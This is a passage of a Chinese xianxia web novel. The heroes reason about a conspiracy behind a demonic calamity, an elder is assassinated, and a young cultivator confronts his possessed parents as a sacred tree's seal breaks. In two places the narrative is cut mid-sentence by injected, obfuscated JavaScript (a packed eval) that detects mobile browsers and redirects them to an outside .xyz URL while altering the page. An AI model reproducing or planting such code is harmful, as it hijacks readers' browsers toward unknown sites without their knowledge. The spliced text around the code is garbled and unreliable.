裴世道:“因为在琴弦失落后,参世仙人又造了另一根琴弦,融入了青竹君体内,最终造出的箜篌仍是二十三弦,一弦不少。” 陆云笺道:“那就证明琴弦失落时,参世仙人还在世。既然在世,如果是那照翎族盗走琴弦,参世仙人定不会善罢甘休,但这根琴弦既然还在那照翎族体内,就证明仙人未能将其取回——因此,有一个仙人十分信任的人,盗了一根琴弦给了照翎族,甚至助照翎族隐藏踪迹,以至于仙人未能及时将他寻回。” 裴世仍是垂着眸,道:“蒲山之中,参世仙人座下有三人,妄尘前辈,青竹君,还有无津大师。” 此言虽是给出了三个可能,但答案已然呼之欲出。 陆云笺道:“如此看来,秃驴和那照翎族关系匪浅,不过,有一事我仍然有疑。” 裴世道:“什么事?” 陆云笺道:“照我们先前所推,秃驴应当不是发动灾劫的幕后之人,也就不能与那照翎族算作一路。如此说来,是他们先前有过合作,后来不知由于何故而反目,如今算是势不两立?” “应当是。”裴世道,“目前怜生寺境内的圣清结界尚且稳定,无论那秃驴究竟想做什么,都只能盯紧他的行动,早做防范。” 陆云笺道:“关于箜篌琴弦……是你方才去见那秃驴时,他告知于你的?” 裴世轻轻摇头:“是我根据蒲山幻境中青竹君所说猜测的。我方才,只是向他确认。”不知是不是注意到陆云笺带着些许质疑的目光,他补充道,“先前我不知真假,所以没有告诉你的,就是这些。” 裴世从始至终没有抬眼去看陆云笺,又道:“参世仙人知道仙门之中无有可信者,却也不知尘世之中有何可信之人,于是在逝世前,将箜篌封存于蒲山,交与青竹君,旁人寻不到箜篌踪迹,只能待妖魔尽数归世时,由青竹君携箜篌平息灾劫。” 陆云笺微微蹙眉:“‘尽数归世’?” 裴世终于抬起眼,然而那双眼眸里的情绪比任何时候都更为平静,甚至近乎冷淡:“如若这一次没有将妖魔尽数消灭,而是留存、镇压或是封印一部分妖魔,那么总有一日,修真界会迎来又一次妖魔归世,却不知下一回,还有没有一位参世仙人能造出箜篌神器了。” 陆云笺一时无言。 为了往后世代清平安乐,所以必须等待妖魔全部出世,才能动用神器平息灾劫。 便是赌赢了,此间也不知会有多少百姓葬身灾劫,不知会有多少仙门瓦解流散。若是赌输了,那便尘世覆灭,什么都不会留下。 如今她终于清清楚楚地知晓了参世仙人留下的救世之法,却觉得更加无力。 ……救世? 如何救世。 黑夜里许久寂静无声,直到裴世轻笑一声,才终于将死寂打破。他的笑太苦涩了,像是为了唤回陆云笺的神智,才勉强挤出一丝笑容。 他道:“好在,方才与那老秃驴谈了一席话,也不算全无收获。我想到了一个……怎么说?或许不失为一个办法。” 陆云笺定定看了他许久,忽然道:“裴世,你知道么?每当你撒谎,或是有事瞒着我的时候,要么不敢看我,要么就会变得……” 裴世原本听了前半句便欲盖弥彰地望向陆云笺的眼睛,却在她意味不明的目光中愈加慌乱,还不待他再掩饰,陆云笺忽然靠近了些许,他便不由自主地退了半步。 缓过神来时,正欲将退的半步再迈回去,脸却先一步被陆云笺扯住了。 这场景很是熟悉,却又有些陌生,裴世一时怔然,只听得陆云笺道:“小柿子,这一次,你还是要瞒着我?” 裴世心中一阵涩然,道:“我还没有想明白,也没有确定那个办法究竟可不可行。若是来日想明白了,我一定立即告诉你,就当是……”他抬起一手,覆在陆云笺扯住自己脸颊的手上,罕见地带上了些许讨好的意味,“一个惊喜?” 陆云笺默默叹了口气,再次让了步:“只要你不做傻事。” 裴世的目光微微一凝。 陆云笺撤了手,忽然扯出一个笑容,然而这样一个笑容在一贯轻松自若的脸上显得那样晦暗与苦涩:“灾劫发生以来,或许更早……从亲眼看见季衡自爆灵力那一日起,我就时常做噩梦,每回一不留神睡过去,都会被噩梦惊醒。” 裴世微微愕然,有些无措,向着陆云笺又靠近了些许,却也不知能做什么。 “说起来,之前在同渊阁偶人阵里,我就看见了,我娘,我哥,陆稷,季衡,季瑶,贺江年,还有你。我看见了你们每一个人的……” “都是假的。”裴世出声打断,因急切而显得有些突兀、有些慌乱,“你也说了是同渊阁偶人阵,这种把戏,你难道会信?” “不会。”陆云笺笑容中的晦暗被扫去了些许,“但我的确自那时才发现,原来我也是个胆小鬼,会惧怕这样虚无缥缈的东西,会不由自主地想,是不是上天早已给过我暗示了……每次你有事瞒着我,我都会害怕你为了助我而犯傻。说到底,这世间我想护的人就那么几个,你若是出了意外……” 陆云笺没再说下去,眼前又不由自主地浮现出母亲血肉撕裂与裴世骨骼尽碎的画面,她闭上眼,将剩余的药草尽数送入口中,极苦极涩,却实实在在地令人神智清醒。 裴世默然片刻,轻声道:“逆转时空前,我是怎么死的?” 陆云笺蓦地睁眼看向他,没有说话。 “其实很好猜,”裴世轻飘飘地笑道,“灾劫降临,我没有灵力,用不了多久就死了。死时若是封印仍然未破,照灵骨便发挥不了效用,却也会吸引无数妖魔鬼怪甚至野兽,怎么想也会落得一个被竞相分食、死无全尸的下场。” 陆云笺的瞳眸不可控制地微微震颤起来,手紧攥成拳,关节都有些发白。 裴世却仍然笑得很是从容:“可如今,我便是死,也绝不会像上回那样死得仓促又狼狈,在有东西分食我之前,我就会把它们杀得干干净净。 “所以,无论这种结局是逆转时空前我的死法,还是你在同渊阁偶人阵里看到的我的死法,都绝不会成真,其他人的结局,也不过是用来扰乱你心智的小把戏,不会成真。 “所以说好了,我不会骗你,不会做傻事,也不会死无全尸。而作为等价交换,你也不能害怕,不能担心,不能自己先心乱。如何?” 陆云笺看着他因为言语生涩笨拙而发红的耳尖,终于勾了勾嘴角,也像哄小孩儿似的,伸出了小指。 裴世一怔:“什么?” “拉钩啊。”陆云笺笑道,“归云仙君看了那么多小孩子话本,连‘拉钩上吊一百年不许变’都不知道么?” 往后三日,万里圣清结界仍稳定如初,并无缺漏。 陆云笺需待在哀牢维持圣清结界,不能离开哀牢主山,因此外头的什么消息,都只能靠裴世带回。 所幸最初虽有几个门派弃圣清结界而逃,但三大门派及时采取补救措施,没有酿成大祸。 第四日,陆云笺照例端坐哀牢山顶,听裴世说起山上诸多修士与百姓的境况,却不料忽然来了一位意外之客。 来人穿着纯白无花样的御寒斗篷,直至到了山顶,见了陆裴二人,又见四周无人,才将兜帽摘下,露出一张清丽脱俗却苍白疲惫的脸庞。 即便早便得了消息,见到此人时,陆云笺心中仍有些说不清道不明的感觉,只道:“季小姐。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16541463|179016||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 季瑶早已没有心思再整理因御剑而有些凌乱不整的衣冠,也只行了一礼:“陆小姐,归云仙君。” 陆云笺微微点头,没有多言,只等季瑶开口。 季瑶道:“此来第一件事,是感谢陆小姐在哀牢强开圣清结界,分去镜阳宗地界圣清结界的范围,否则单凭镜阳宗,怕是撑不了太久。也多谢归云仙君助我们诛灭入侵的妖魔,助圣清结界稳定。” “季小姐无需客气,这本也是我们应担之责。”陆云笺道,“镜阳宗辖地内部分门派前来哀牢,只要他们不越界,我们就会护好他们。” “……多谢。”季瑶闭了闭眼,无声地叹了口气,又迅速平静心绪,继续道,“另一事,是关于季宗主与我兄长。” 陆云笺与裴世暗自交换了一个眼神。 “二位也知晓,兄长自少时生过一场大病后,体质便有了些许变化,极易招引妖邪。镜阳宗屡屡找寻根源与解决之法,无果,只得暂且搁下。而如今宗主逝世,我在探查宗主死因的过程中,却发现了另一事。 “宗主在世时,或要更确切些,当是八年前宗主中了不明毒物后的一段时日,曾暗中收集灵石药草,着手创制一个术法……是淬炼改造人身的术法。 “中此术者,体质急剧减弱,体内灵流躁动紊乱,难以控制周身灵气运转,以致易招妖邪,也易被妖邪入体附身。” 陆云笺蹙眉道:“季宗主?” 当年陆稷遣她去给季良衢下毒,是为防止季良衢召动与镜阳宗先祖缔结契约的妖兽。那妖兽形似金乌神鸟,名为“奇焳”,曾在三百二十年前助镜阳宗初代掌门灵力暴涨,诛杀无数妖魔。 镜阳宗初代掌门自此声名远扬,从云间世分出三道,脱离云间世,创立了镜阳宗。 仙人与魔王一战结束后,云间世第三代掌门陆成蔺将数只妖魔封印于云间世地底,又种下神树加以镇压,镇压的第一只也是最强的一只妖兽,就是奇焳妖鸟。 季良衢查出此事,便暗中想要召动奇焳,颠覆云间世,不料被陆稷察觉,先遣陆云笺将他毒得卧床不起。 然而陆云笺下的毒,只减弱了季良衢的体质、又极大程度封存了他的灵力,以致他不能过度使用灵力,再难有所动作。 如今看来,季衡之所以忽生重病,又变得极易招引妖邪,或许就是因为季瑶所说的改造术法。 可若真是如此,季良衢又有什么理由改造季衡? 季瑶压住声音中的颤抖,道:“兄长与我两岁时便被宗主收入门下,宗主待我二人如师如父,宗主夫人体弱无所出,他便打算将镜阳宗宗主之位传于我兄长,多年以来,极尽心力。宗主绝不会害我兄长。 “结合兄长被附身之事,我只能想到,宗主中了不明毒物后体质减弱,有东西趁机而入,附身宗主,操纵宗主暗中创制改造人身的术法,待宗主病情恶化,便转而附身兄长……” “季小姐,恕我多言一句,”陆云笺出声打断,“季宗主体内的毒,虽会减弱他的体质,却并不至于引妖邪入体附身。” 季瑶微微一怔:“陆小姐这是何意?镜阳宗花费多年都不曾查明季宗主体内的毒,陆小姐又怎知……” 陆云笺默然片刻,道:“我虽不通药理、不会制毒,见过的毒物却多,那日季衡领我前往镜阳宗,原是想让我看一看季宗主的病情,看有无办法加以医治。那时我远远地观察了季宗主的情况,虽不能判断那是何种毒物,又如何医治,却也对它的特性知晓了几分。” 季瑶思绪纷乱,蹙眉苦思,却一时未能觉察出陆云笺言语中的纰漏。 陆云笺知道此时不宜告知季瑶真相,也不愿再谈论此事,便问:“季宗主的死因,季小姐可有头绪了?” 季瑶垂了眸,道:“那东西操纵兄长,以灵力使得宗主心脏爆裂,一击毙命,未曾留下多余痕迹,而所用灵力,也皆出自于兄长。” “那日我就在季宗主寝居内,季宗主遇害时,未曾发现有东西附身季衡的迹象。” 陆云笺说着微微一顿,一阵迟来的寒意爬上背脊。 那东西做事不留痕迹,到底是因为它神通广大,还是因为…… 季衡早就被它附身了? 111. 业蚀目 季衡是何时被附身的? 陆云笺脑中闪过季衡所言所行所作所为,却并未发现明显的异样,一时竟真不知季衡何时被妖邪附了身。 那么,究竟是季良衢出于某种目的改造了季衡,还是真如季瑶所说,那东西先附身了季良衢,操纵季良衢改造季衡,转而又附身了季衡? 可季良衢并非能引妖邪入体的体质,什么东西能够附身他、操纵他? 若并非体质原因,那东西要想附身季良衢,就只能凭借一物—— 血脉。 若是直系血亲,想要附身便容易得多,的确无需季良衢自身易招引妖邪。 可镜阳宗宗主夫人无所出,上一代镜阳宗宗主也早已逝世,即便假设其魂魄不知何故未曾前往转生,应当也没有理由附身季良衢。 陆云笺思绪翻涌,如何也想不出一个符合条件的妖魔,或是精魅,或是亡魂。 那东西附身季衡,又有什么目的? 难道仅仅是与镜阳宗有深仇大恨,只为杀了季良衢、废了季衡的灵力、毁去掌门令? 陆云笺兀自蹙眉苦思,季瑶却没有时间再多言,道:“至于何人与宗主有如此仇怨,此为旧事,还在进一步探查。二位,镜阳宗掌门令已毁,我需支撑圣清结界以及镜阳宗结界,不能离开镜阳宗太久。 “还有最后一事。 “二位应当知晓,镜阳宗有一暗卫组织,是为乌鳞卫,二十年前,曾有一支乌鳞卫反叛,被宗主剿灭,然而当时有几人得一位长老相助,逃出镜阳宗,自此下落不明。” 陆云笺默然听着,却已然明了季瑶接下来要说的话。 季瑶继续道:“在探查宗主旧事时,我查到一事……江年的父母,云鹤与贺昀二人,正是当年逃出镜阳宗的乌鳞卫其中之二。” 镜阳宗初代掌门脱离云间世、自创门派后,并非全然不受云间世影响,除了仿照云间世十二道长老设立六道长老以外,还依照云间世的银鹰卫,设立了乌鳞卫。 但乌鳞卫与银鹰卫不尽相同,镜阳宗操纵乌鳞卫的方式,是在他们体内种下毒物。 此毒终身难消,且能够传给后代,即便后代不受镜阳宗操纵,也会受毒物所限,若是有心怀不轨之人想要利用这毒操纵或加害乌鳞卫之人,也并非不可能。 是以陆云笺在觉出云鹤与贺昀的身份后,便有心提醒二人护好贺江年。 贺江年阴差阳错被卷入他们几人之中,即便并未接触太多灾劫相关,但想必没有如此巧合,即便是有,也不知幕后之人是否会发现乌鳞卫之事,是否会利用贺江年体内的余毒对其进行操纵。 贺江年既与镜阳宗乌鳞卫有脱不开的干系,又是云间世天玑长老的关门弟子,又与他们四人私交甚密,定然是个极易被盯上的对象,若是幕后之人要有所动作,怕是会先对贺江年下手。 云间世与镜阳宗都不能护好他,唯有云鹤与贺昀,会竭尽全力保护他。 陆云笺正欲询问贺江年的情况,却听季瑶道:“昨日我得了消息……云鹤与贺昀,失踪了。” …… 陆明周阅完当日各地仙门报上来的圣清结界与妖魔动荡的讯息,已时至酉时。 所幸结界稳定如初、未出纰漏,妖魔暂时也还算安分,各个受创的地方仙门在维持圣清结界之余,也能恢复些气力。 他将案卷整理好,起身离了中孚殿偏殿,远远地看见弟子们三三两两地走去饭堂。 云间世虽已停了课业,但仍有不少弟子留了下来,此时一番寻常的热闹景象,竟仿佛仍是岁月静好,人间安宁。 陆明周微微叹了口气,将目光投向神树。 神树仍如往常一般枝茂花繁,上达穹顶,云间世结界仍坚牢稳定;下接坤舆,树根深深探入地下,镇压着数只百岁千岁长的妖魔。 然而若细细看去,能够分明地看到土地正在隐隐震颤,仿佛有无数东西潜伏在地底,暗自观察世间之况,等待破土而出、重归于世的时机。 陆明周看了片刻,转身朝大长老的寝居走去。 大长老不喜与旁人往来,座下弟子又早已尽数出师入世、成为独当一面的仙君,因此住处总显得门庭冷落。 陆明周一路从人声喧嚷走至寂寥无声,走至山林莽莽、流水潺潺的另一座山峰,绕过繁复回廊,才终于到了大长老寝居门外。 然而敲门半晌,却无人回应。 陆明周在门外站了片刻,只好转身下山。正走出门庭,却见大长老缓步走来,见了陆明周,先慢悠悠地拂了拂衣袖,才皮笑肉不笑地行了一礼:“陆少主。” 陆明周躬身行礼:“大长老。” 大长老道:“如今世间妖魔动荡,少主怎地有闲心来寻老夫了?” 陆明周道:“大长老卧病多日,先前事务繁多,晚辈未得空闲前来看望大长老,是晚辈失礼。” 大长老摆手道:“少主何需如此,少主是这云间世的主人,原也不必为我们这些僚属费心。倒是老夫老眼昏花,双耳也不甚灵敏,适才才发现少主先前传来的通讯,不曾及时回复,还请少主恕罪。” 他虽如此说,却也没有去查看通讯的打算,只与陆明周错肩而过,上了屋门前的石阶,径自去推屋门。 陆明周远远地看着大长老的背影,没有追上去,只道:“不劳大长老费心去看通讯,晚辈此来,是因神树有动荡之兆,特来大长老处,借镇魔宝剑一用。” 大长老悬在门上的手微微一顿,并未回头:“镇魔宝剑之用,是助神树镇压山下妖魔。自师尊传我镇魔宝剑以来,我悉心看护宝剑,从不曾出错。至于何时动用镇魔宝剑、如何使用镇魔宝剑,那是云间世大长老之责,无人会比我更清楚,莫说少主,便是尊主,也未见得就能干涉镇魔宝剑之用。” 陆明周还欲再言,大长老却大步进了屋,反手将屋门一关,不再与他多论。 陆明周几步追上,忽觉脚下一震,忙抬头往中孚殿的方向望去。 神树与结界稳定无异,但陆明周知道,方才一瞬的震动绝非错觉,仿佛可见地下的东西正挣扎着翻腾而出。 陆明周再顾不得什么礼数:“那么大长老认为何时才应动用镇魔宝剑?如今灾劫降临,神树动荡,又一批妖魔即将出世,大长老还要等到何时?!”然而上手去推门却纹丝不动,他犹豫片刻,抬手以灵力轰开了屋门。 屋门洞开,却见大长老伏在桌边,脖颈被一道暗箭贯穿,正汩汩涌出鲜血。 陆明周霎时有如惊雷贯体,一时震悚在原地,无法动弹。 那道利箭来得狠且准,即便是对云间世大长老,亦能一箭贯喉,大长老甚至来不及反抗,门外的陆明周也没有发觉何时有人暗中蛰伏在此。 鲜血尚且温热,虽已停止喷涌,却仍止不住地顺着脖颈流下。 陆明周探了大长老的脖颈,一箭毙命,已然没有半点生机。 再抬眼,却忽然看见窗边蹲着一个鬼魅般的身影,袖口与衣摆上绣的波浪花纹在日光下映射出粲然光辉,倒是更像游蛇身上的鳞片。 那女子从上到下俱是沉沉的黑,双瞳却是一片沉寂无生机的死白。 陆明周与那双诡异的瞳眸骤一对望,正欲起身去追,那女子一挥手,一枚暗刃堪堪划过他的脖颈,他伸手一抹颈间,果有一道血痕,若非他躲避迅速,怕是也已如大长老一般被贯喉而死。 然而这一瞬空隙,窗边那抹黑影却已然消失不见。 陆明周飞身追赶,脚下却又是一震,这一回,上接天穹的云间世结界也跟着震了一瞬,仿佛有什么看不见的裂缝正逐渐扩张。 而那个黑色身影,也正快速朝神树的方向赶去。 陆明周抬手暂时封了大长老的住处,紧随那黑影而去。 盘虬卧龙的神树虽仍屹立不倒,树根所在土地却已然裂开了几道缝隙,那缝隙逐渐撕裂扩大,一面向着中孚大殿蔓延,一面朝山下延伸,似要撕出一道天堑,放地底的妖魔鬼怪尽数归 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16546274|179016||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 世。 一树繁花簌簌下落,似是漫天大雪仓皇地想要覆盖裂开的大地,却如小小顽石妄想补天,全然无济于事。 黑衣女子捂着肩上不住渗血的剑伤,匆忙落在神树之下,那里立着一名黑衣男子,二人装束极为相似,死白的瞳眸也如出一辙。 陆明周几步跟上,又是一剑劈去,被那黑衣男子一挡,又是一道暗刃迎面而来。 陆明周闪身避过,正欲再出一剑,却忽闻不远处传来一阵急促仓皇的奔跑声。那奔跑声凌乱却仿佛竭尽全力,由远及近,陆明周终于听清了他撕心裂肺而几乎喑哑的呼喊: “爹——娘——” 陆明周手一抖,一道剑光脱出,却偏了道,没有击中任何一人。 身旁一道紫衣身影闪过,却脚步不稳,先被脚下裂缝绊得倒地不起,而后仓皇忙乱地爬起,又极力朝那两人奔去。 那两个黑衣人却无动于衷,只甩出又一道暗刃。 陆明周待要去挡却已来不及,那道利刃猛地贯穿了贺江年的肩膀,他却仿佛无所感知,径自扑在那黑衣女子身上。 泪水与鲜血蹭了她满怀,那双毫无色彩、毫无情感的死白瞳眸微微一顿。 贺江年死命拥着云鹤,仿佛仍是多年以前那个天真不知事的小孩儿,受了委屈只会躲在母亲怀里嚎啕大哭,而那个会取笑他、挖苦他的讨人厌的娘亲,用利刃贯穿了他的肩膀。 贺江年的声音早已嘶哑难辨,也早已没有别的言语,只一遍又一遍地重复:“娘……爹……为什么……” 云鹤茫然地垂着手,贺江年将她肩膀处的伤口攥得很紧,原当是疼痛的,她却毫无知觉,一切感知像是随着她一起死去了。 直到一道灵箭射穿了她,她的身躯飞出数丈,重重砸在一块巨石上,才后知后觉今夕何夕。 天玑长老持着弓箭几步奔上来,薅住贺江年的后领,将他从地上提起,喝道:“贺江年,你疯了?!你体内余毒方清,我让你好好待在房里……” 贺江年蓦地挥开天玑长老拽住自己的手,涕泪俱下地嘶吼道:“我没疯!什么毒不毒伤不伤,我就是明天死,今天也不想看到他们离开!那是我爹我娘!我爹我娘……” 贺昀定定朝着这边看了片刻,没有去扶云鹤,只抬起一手,手中漆黑的阵法旋转扩张,阵阵嘶吼啸叫随着阵法扩张而逐渐尖锐,从一开始有如窃窃私语,到后来有如利刃破空,贯穿双耳。 神树树根也缓缓破土而出,带起团团泥土,也或许并非泥土,而是几百年前被埋于树下、又被同化成泥的尸骨肉身。 陆明周猛然出剑,贺昀堪堪躲过剑光,手中的阵法却没有那么幸运,霎时被击碎成了飞灰。 天玑长老又是一箭,正中贺昀右臂,贺昀吃痛后退几步,手却难以抬起,更难以再召阵法。 贺昀见势不好,便不打算多留,拽起云鹤飞身逃走。 贺江年正欲御剑去追,手刚放上剑柄却被天玑长老按住:“不要用剑!——在此处,不能用剑。” 贺江年闻言将明澄剑从腰间卸了,连肩上的伤口也不曾处理,便飞身追了上去。 他最擅长的追踪,正是他的爹娘手把手教给他的。 银鹰卫与乌鳞卫的人最擅追踪,他早该觉出端倪的,是他愚不可及、一无所知。 天玑长老拾起明澄,也追了上去。 陆明周提剑立在原处,眼睁睁见神树拔根而起,连根带出猩红的泥土,而后是一张张腐烂恶臭的脸、挂着腐黑碎肉的头骨、残缺不全的四肢、如同轰隆雷鸣的低吼…… 他源源不断送去灵力,极力稳定神树,然而汹涌的灵力一去却仿佛泥牛入海,全然无法阻止妖魔自地下爬出。 陆明周见稳定神树无效,便转而击杀即将出世的妖魔,却忽听天穹之上传来嚓嚓的诡异声响。 他猛然抬头,看见道道不断延伸扩大的裂缝,宛如撕裂天穹的霹雳。 云间世的结界,正在碎裂。 112. 其心澄 万里圣清结界之上原本缓缓流转的粲然光华忽地毫无预兆地加快了流动,如同湍急河流一般朝着某处奔去。 陆云笺立在哀牢主山山顶,遥遥望着云间世的方向,面上虽不动声色,手却不自觉地一遍遍摩挲着破月匕首柄上的紫色灵石。 “陆云笺。” 身旁忽然传来一声唤,方才去送季瑶下山的裴世不知何时已经回来,甚至已经站到了自己身边,伸手握住了自己摩挲着破月灵石的手指。 “地底的妖魔再度躁动,圣清结界也不如往常稳定。镜阳宗与怜生寺的结界尚且无恙,是……” “是云间世。”陆云笺道,“神树动荡,云间世的结界快撑不住了。” 她定定望着云间世的方向,指尖已不由自主地亮起一点紫色灵光。 裴世却一伸手将那灵光掐灭了:“就算云间世的结界撑不住,你也不能再把云间世圣清结界也转移至哀牢了。哀牢已经承担了镜阳宗的部分圣清结界,若再加一个云间世,你……”他说着却忽地顿住了,没有继续说下去。 即便是陆云笺,要强行打开如此强大的结界,也必然会灵力不支。思及此,裴世便打住了思绪,不敢再想下去。 他思索片刻,道:“神树与掌门心脉相连,陆稷不会让云间世的结界崩塌。” 陆云笺闻言收回目光:“……是。” 她默然片刻,待心绪平复,道:“如今灾劫的走向已然与逆转时空前不同了,逆转时空前,幕后之人只召唤了第一批妖魔,众仙门就抵抗不能,这一回我们多了圣清结界,一批妖魔不够,他就只能打出下一张牌。 “如此想来,或许他盯上贺江年的目的,就是希望能利用贺江年召唤出神树下的妖魔,只是云鹤与贺昀替他挡了一劫…… “比如,将贺江年体内残存的毒物,尽数转移到自己身上,也因此更易被幕后之人操纵。如此一来,神树动荡,应当就是此二人造成的。” “或许不只是造成神树动荡。”裴世道,“你与我说过,大长老手里有一把镇魔宝剑,这一回镇魔宝剑也未曾现世,大长老应当也已经死了,而镇魔宝剑也不知所踪。” “怪不得……”陆云笺喃喃,“逆转时空前,我们怀疑是尹旭被操纵,杀害了大长老,好容易将他抓住,还不待拷问,他便直接咬舌自尽。这一回尹旭早已被逐出门派,要在云间世掀起风浪怕是不易,幕后之人就转而盯上了贺江年。” 裴世道:“尹旭为何被盯上我们不得而知,但贺江年却极有可能是因为他体内的毒物。乌麟卫的毒,有两类人最为清楚。” 陆云笺抬眸看向他:“无非是中毒之人与下毒之人。要么是乌麟卫的人,要么是镜阳宗宗主,曾经的季良衢,如今的季瑶。但季衡不同,他虽并未正式担任镜阳宗宗主,却一直是季良衢钦定的继承人,与掌门无异,也能知晓乌麟卫的毒。” 贺江年第一次与他们一同出任务,是当初季衡与季瑶调查溟海,需要擅追踪的修士,陆明周便派遣了贺江年前去。 难道那时,季衡就已经被附身,就已经开始筹谋这一切? 或许更早,毕竟在那之前,她和裴世都与季衡、季瑶二人相交甚少,并不知晓季衡所作所为。 无津大师说逆转时空前召唤妖魔、发动灾劫的是照翎族,怕是并不完全,至少如若一切线索都指向季衡,那么附身季衡的东西,目的应当与那照翎族一致。 如此一来,一切就都能说通了。 就连二人一直没能想通的海妖之事也都足以推断完整—— 为了利用溟海海妖发动海难,季衡屡次三番替海妖遮掩气息、干扰绝杀阵,又引陆云笺前往陆稷闭关修炼之所…… 裴世能查到陆稷的闭关之所,季衡也一样可以。 陆云笺体内的妖狼碎魂是修复、滋养魂魄的最佳事物,若是引她前往灵山开启献祭阵,海妖便可修复魂魄,发动海难。 若是她袖手旁观陆稷被海妖“袭击”,那便几乎可以证明,她并未失忆,那么季衡便可猜测她是否会尽心尽力地去取出照灵骨,由此判断,她是能为他所用,还是与他为敌。 然而海妖却意外魂飞魄散,他不愿就这样放弃一张有力的牌,便保住海妖一缕残魂,又助它寻找肉身。 至于调查到她与裴世的过往,就更非难事了。 且不说裴世本只是云间世的一名小弟子,便是她,也曾在怜生寺幻境中被照翎族窥见过过往。 如此一来,他定与照翎族关系匪浅,那么她与裴世阴差阳错进入怜生寺幻境那回,应当也是他…… 冬至时节,妖魔动荡,他或许是想借此契机放出照翎族,却不知因何缘由,原本应当在冬至日出现的怜生寺幻境推迟至第二日,意外将与季衡在一处的陆裴二人卷了进去。 那么伪造同渊阁放火烧毁溟海村假象的也就是他,见到偶人阵的人,也是他…… 如此推断,顺利得近乎诡异,陆云笺的心也渐渐沉了下去。 逆转时空前他甚至未曾现身,只打出了第一张牌,修真界就抵御不能。 这一回,他有几张牌? 陆云笺道:“但云间世神树镇压的妖魔与地底之下的妖魔并无太多异处,为了召唤区区几只妖魔便如此大费周章,不太值当。他大可以耗着我们,等圣清结界一破,修真界必然大乱,那时再次召唤地底的妖魔,不是划算得多?” 裴世道:“除非神树之下有他想要的东西,这样东西他非要不可。” 陆云笺道:“逆转时空前陆稷尚能保住神树,如今他身体也受了重创,不知能保得神树几时。神树之下,是幕后之人最重要的一张牌,如果我们不能阻止,也没有能赢过他的牌,那要如何毁掉他手中的牌?” 她再度抬眸望向云间世的方向,却有一道猩红的火光映亮了她的眼眸。那道火光如同融化的旭日,自天边一路流淌,缓慢而无休无止,寂静无声,却又仿佛翻沸着滚烫的低吼。 裴世顺着陆云笺的目光望去,这才发现那并不是一道火光,而是天边的一条裂缝。 时空裂缝。 “妖魔出世,时空裂缝扩张……按照原计划,时空裂缝一旦扩张至足以撕裂的程度,云间世就当利用照灵骨开启断界阵,连通另一个时空。” 裴世闻言,仿佛被那道远在天边的火光烫着了,微微眯起了眼睛。 “时空裂缝就在云间世禁地,陆稷应当会按照原计划撕裂时空,山下那些吵嚷着要捉拿我们的修士又该有所动作了。”陆云笺收回目光,望向裴世,“如果陆稷真的打算撕裂时空,我会不惜一切代价阻止他,无论云间世结界抑或是圣清结界会否受到影响。必要时候,我会杀了他。” …… 贺江年避开又一道迎面而来的利刃,正欲飞身踏上一旁巨木的枝条,忽觉眼前一黑,原本来得稀稀疏疏的利刃忽地化作一道屏障,密密麻麻如同黑压压的蜂群,迎面朝他扑来。 他一咬牙,仍是想要竭力跃上枝条,好更清楚地找寻云鹤与贺昀的踪迹,然而尚不待他发力,喉间便是一紧,紧接着整个人便被按在了地上,又被拽到一块巨石之后。 天玑长老拽着贺江年衣领的手未松,将他死死按在地上动弹不得:“贺江年,你不要命了?!早知你如此冲动,我就不该放你自由行动——” 贺江年挣了几下,挣脱不得,终于安静下来,不再反抗,只抬头望向几乎被黑色利刃遮蔽的天空,以及天玑长老撑起的一方防御结界。 天玑长老不由更怒:“贺江年,你还不明白吗?他们对你动了杀招,他们如今已不是你爹娘了!” 贺江年如同一具死尸般躺倒在地,过了许久,才像是知觉重回般地喃喃:“师尊,我是不是在做梦啊 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可灾劫残忍至此,从不会给人反应之机,也不会给人喘息之刻。 贺江年闭上眼,没有再去看层层叠叠的利刃,轻声道:“他们怎么可能不是我爹娘? “小时候他们手把手教我追踪之术,我十岁的时候进入云间世,被别的弟子嘲笑来路不正,我被推了一把,摔断了腿,是我娘揍了那名弟子一顿,是我爹把我背回家。 “我得到明澄的那一天,他们在天上一刻没停地放了一个时辰的烟花,当晚就去杀了一只五百年大妖,夺了灵石为我淬炼明澄。” 天玑长老终于再也听不下去,沉声打断:“贺江年,你不要发昏,你记得,可他们现在还记得吗?你爹娘将你体内的余毒尽数转移到自己身上,是为了转移幕后之人的注意力,是希望你往后再不受余毒所扰,你如此,他们又怎会放心?” 贺江年忽地笑道:“不放心的话,那就恢复神智来盯着我啊。既是不放心,又为什么把我送回云间世后一声不吭地消失,为什么下一回再见面却不记得我!” 他忽地如同一条垂死挣扎的鱼一般翻身而起,尚不及天玑长老反应,便闪身至防御结界边缘,甩手放出数道蛛丝般的灵光—— 然而尚不待那蛛丝游走出去,防御结界轰然破碎,万道黑色利刃疾风骤雨般直朝下方射来! 贺江年指尖一痛,手中灵丝蓦地被万道灵力所化的利刃弹回,汹涌灵力一路沿着手臂蔓至肩膀,所经之处,几乎要筋脉尽断。 天玑长老再度飞身上前,猛地将贺江年往身后一拽,一手点过贺江年的手臂,止住反噬,另一手以掌击地,再次升起了一道防御结界。 这一道防御结界上可通天,将二人严严实实护在其中,黑压压的阴云被隔绝在结界之外,嗡鸣声响一瞬之间消失不见,利刃尽数被天玑长老挡在身后,再也不会进入贺江年的双目双耳。 天玑长老瞬息之间撑起如此强大的防御结界,脸色微有些发白,倏然单膝跪倒在地。 贺江年一怔,而后几步奔上前,扶住天玑长老:“师尊!” 